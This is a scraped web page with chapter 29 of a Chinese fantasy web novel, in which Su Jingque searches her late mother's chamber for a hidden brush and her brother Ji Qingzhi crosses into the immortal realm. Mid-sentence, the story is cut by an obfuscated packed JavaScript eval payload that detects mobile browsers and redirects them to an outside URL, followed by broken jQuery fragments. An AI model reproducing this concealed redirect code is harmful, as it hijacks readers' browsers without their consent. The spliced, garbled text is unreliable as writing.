29. 029

作品:《我靠我哥表情包苟命

    就在苏惊鹊以为两个老头是否仍旧在骗她时,他们终于停下脚步。


    苏惊鹊在执念里来过这里,发觉这里的环境与她见过的并无两样,有些惊讶。


    兰青说:“凝凝去时候,我们并未让这里荒废,还会偶尔来这里坐坐,甚至期待着,还好囡囡你来了。”


    苏惊鹊缄口沉默。


    她看着紧闭的大门,无端感到胸闷,迈向门口的脚步也变得沉重。


    按理说她跟凝凝实在没什么关系,不该有这样的感受才对。


    摸摸脖子上的玉佩,她想这感情有可能是季轻枝的。


    苏惊鹊前进几步,在将到门口时,忽然转身,对两位老人道:“爷爷,可以让我自己在这里待一会吗?”


    兰青兰叶一副理解的表情,说了声“好”便直接离开。


    防止他们还像刚才那样在外面盯着自己,苏惊鹊在门外晃悠好些会,又出了大院看看,觉得没什么问题,几步走到门口,抬手。


    “吱嘎——”


    估计只想着保持原样,连修复也不想做,寝门发出了时间的声音。


    窗明几净,摆设的位置没有变过,依旧是井然有序,保有主人的习惯。灰尘也没有,干净得仿佛这间屋子的主人只是出门游玩,而不是死了许多年。


    短暂欣赏一下,苏惊鹊向内里走去,准备做正事。


    穿过层层白色纱帘,床褥叠得整整齐齐,床边铺着一张厚重的地毯。


    苏惊鹊脑子里不断回放凝凝把毛笔藏匿在地下法阵的那一幕。


    她迅速蹲下,掀开地毯。胸口炙热,她紧张到发抖。


    之前割出来的伤口尚未愈合,苏惊鹊把结痂扣掉,努力挤了不少血,未做他想,在地上临摹着记忆里凝凝的一笔一画。


    同当年一样,地上波纹涌动,苏惊鹊满怀激动地等了好半晌,波纹渐渐消失,灵云笔并未出现。


    她瞪大眼睛,不可置信。


    身后窸窸窣窣,如电锯发动一样难听的泣声钻到耳朵,还有辛辣的酒味,刺激得她脸都皱在一起。


    苏惊鹊忍不住拧眉,转身掀开帘子,差点踩到一个人形不明物体,吓了一跳,等到看清之后,她大惊:“兰月!?你怎么在这?”


    说完又觉不妥,急忙改口:“爷爷,不是说了让我一个人待会吗?”


    兰月躺在地上,干净整洁的粉色衣衫压出许多褶皱,还染上了难闻的酒味。


    他对苏惊鹊的话充耳不闻,反而一直躺在地上哼哼唧唧,发出比鬼叫难听的声音。


    苏惊鹊心里有些担忧。


    她对兰月的出现毫无察觉,害怕他刚才看到了些什么。


    “兰月?!”收起玉佩,苏惊鹊蹲下推了推他。


    兰月手里的酒瓶子“骨碌”一声滚落在地。


    兰月被这一声吓得骤然坐起,却还有些意识不清。


    他看着眼前的画面,揉揉眼睛,半晌,眼前终于不再模糊。


    “囡囡……”兰月嘴唇颤抖,问:“你也来看凝凝……”


    苏惊鹊点点头,试探问道:爷爷你怎么在这?”


    “我……爷爷看到你回来,太高兴了,”兰月用满是褶皱的手捂住脸,不让苏惊鹊看见他掉眼泪,“爷爷也好久没来看过凝凝了,来这告诉凝凝这个好消息。”


    “……”


    苏惊鹊扶起兰月,帮他拍拍身上不存在的灰尘,说:“既然我们都看过了,凝——我娘肯定知道了,那就走吧。”


    话音落地,兰月忙道:“不,先别走,咱们还有事没做。”


    苏惊鹊不解地看着他,兰月正色解释:“我说你的法器能解边境之患,只对了一半,你的法器是砚,还需要它的配器。”


    “灵云笔。”


    苏惊鹊远离兰月两步,失望地说:“但是我没有……”


    “我知道,凝凝为了防止毛笔被有心人夺去,死前把它藏了起来,据我所知,正藏在她的寝殿,也就是这个房间。”


    “爷爷你怎么会知道?”苏惊鹊盯着兰月的眼睛。


    她记得她在执念里看到的,当时藏匿时只有凝凝一人,当时控制着她的无生都对她的行为毫无所觉,兰月又如何知道?


    苏惊鹊似乎看到兰月浑浊的眼眸一暗,但转瞬即逝,她想应该是错觉。


    兰月哽咽片刻,道:“你可知无生的执念?当年我实在想念,想渡过封希海去妖域看看你,一时大意进入无生的执念,看到了凝凝被囚禁……藏起法器的那一幕。”


    “我自己无法取出毛笔,也并未把这消息告诉过任何人,害怕被暗处的无生夺取,那就惨了!”


    跟自己知晓这个秘密的方式一样。


    苏惊鹊信了几分,虽依旧心有疑问,却并未再说话。


    说完这些,兰月反问:“难道囡囡你不知道?你才是最该知道这件事的啊!”


    苏惊鹊不在意地说:“我没有记忆传承,也就是……残疾。”


    兰月被对孙女的骄傲蒙蔽了双眼,道:“那又如何!我们囡囡现在可以救许多人的!”


    “囡囡,你身有凝凝血脉,又怀有灵云砚,可试试能不能在这里找到那毛笔?”


    苏惊鹊正要说没有,想起自己刚说过不知道这件事。于是当着兰月的面,重新走到地毯边,重复一遍自己方才的行为。


    出乎她的意料,这次的地板连涌动的波纹也没有了。


    “爷爷,”苏惊鹊作一副愕然样,“怎么会没有?”


    身后的兰月表情同样惊愕。


    “坏了,怎会如此……”他呢喃道:“不就是在这里吗?怎么会?”


    “会不会因为我不止没有记忆传承,还没有妖力。


    苏惊鹊十分沮丧。


    说到底她的身份还是假的。


    兰月十分惆怅:“凝凝身上的仙力也没有。”


    苏惊鹊想起另一件事,“爷爷,我还有个哥哥。”


    说起来,几个老头从头到尾嘴里都未提过季轻枝,似乎以为凝凝只有一个孩子。


    先见到了苏惊鹊,便以为这孩子是她。


    苏惊鹊说完,抬眼观察兰月的反应。


    他的眼神茫然震惊片刻,不可置信:“我们知道的是凝凝只有一个孩子。”


    苏惊鹊开口准备编个理由糊弄过去,兰月却并未对她有怀疑,而是不安地问她:“你哥哥,也原谅我们了吗?”


    这……


    苏惊鹊难以回答。


    季轻枝是凝凝真正的孩子,拥有曾经的记忆,原不原谅当然要他自己来说。


    苏惊鹊回答道:“我是背着我哥偷偷过来的。”


    兰月了然,苦笑:“没事、没事。”


    随即又正色道:“毛笔不在此处,有你说的那种可能,还有一种可能,是法器随主移动。”


    兰月边走边说:“所以,我们一边要去找法器最后的所在地,还有……”


    “他应该会来找我。”苏惊鹊说。


    兰月笑了一声,摸摸苏惊鹊的头:“他身上没有你的法器,封希海哪里是说过就过的。”


    苏惊鹊看着他不说话,她有预感,季轻枝一定会过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183018|165369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来。


    .


    封希海的确不好过。


    但还是过来了。


    这一切还要感谢他的妹妹,季轻枝边走边想。


    明亮的光线渐渐笼罩封希海的沉沉黑寂。


    出现在仙域的那一刻,季轻枝身上的妖力被压制到前所未有的低微,与妖力最低的常人无异。


    好在,他的妖力低微,只是容量少了,力量还是强大的。


    他在身上施的障眼法足以应付小仙甚至大仙的打量。


    脚步仅仅刚迈进边境,季轻枝便深觉此处有些不对劲。


    道路还算整洁,某些地方有被烧过的痕迹。路上行人甚少,但却无一例外,行走时身体僵硬,眉眼无神。


    即便看到一个从封希海爬上来的人,面上也毫无波澜,没有死后余生的恐惧。


    然而他现在妖力低微,平白浪费毫无意义,只朝着他的目标赶路。


    苏惊鹊在绘出来的未来里帮他时,身上带着强大的,灵云砚根源的灵力。


    她在仙域——他所厌恶的地方。


    季轻枝感受着心口不安地跳动。


    明明是被无生掳走,却毫发无损。


    究竟是仙力无法伤她,还是在被蒙骗,无法得知。


    思至此时,季轻枝加了行进速度。


    他晚见到他一分,心思便沉重一分。


    他有些自嘲地笑,起初对他所谓的妹妹毫不在意,现在倒是愿意为了找她踏入仙域。


    随意使用妖力恐怕暴露,季轻枝想先离开这里,到无人的地方在运力飞身。


    然而行走在廖无几人的街道上,他的肩膀却骤然被重重地撞击一下。


    虽说他妖力甚微,却也没到有人到自己跟前了他还没法反应的程度。


    抬眼直视前方,那人的身影已经消失不见,季轻枝兀地冷笑。


    .


    兰月带苏惊鹊离开了凝凝的院子,又去找了另外两个老头,只告诉他们苏惊鹊还有个哥哥的事。


    两个老头跟兰月刚听到这个消息的反应一样,惊愕的表情过后便只剩苦涩。


    反倒是水仪,趴在苏惊鹊跟前,笑嘻嘻问道:“你哥哥人怎么样?叫什么名字?你要不要嫂嫂?”


    苏惊鹊震惊地看着脸前的少女,一脸震惊的问号。


    犹豫两秒,苏惊鹊礼貌地回答了她第一个问题:“叫季轻枝。”


    水仪又笑:“好听,我很喜欢。那你呢?你叫什么?”


    “季惊鹊。”


    水仪似乎对她的名字也很满意,赞许地点头,突然问道:“鹊鹊,你觉得我的名字跟你哥哥的名字相配吗?”


    一会问要不要嫂嫂一会问相不相配,苏惊鹊皱眉注视着她,不懂她究竟是玩笑,还是认真的。


    分明连面都未曾见过。


    就在苏惊鹊不知该如何回答时,兰月终于开口:“水仪,不要胡闹。”


    水仪的行为被呵止,有些不满:“师父,不是你说……”


    兰月打断她的话,提高声量:“你先回去!”


    他的制止太过刻意,不止是苏惊鹊,同他相处多年的兰叶和兰青也不禁投去狐疑的目光。


    兰月却只是朝几人笑笑,说:“是我把她教得娇纵了。”


    兰青摇头,只说没事。


    目光却和兰叶对上。


    兰凝死后,神女一位未能挑出继任者。


    水仪是兰月带回来的,一个人把她从小养到大,教得活泼可爱,又知书达礼。


    说这样失控的话,这是头一次。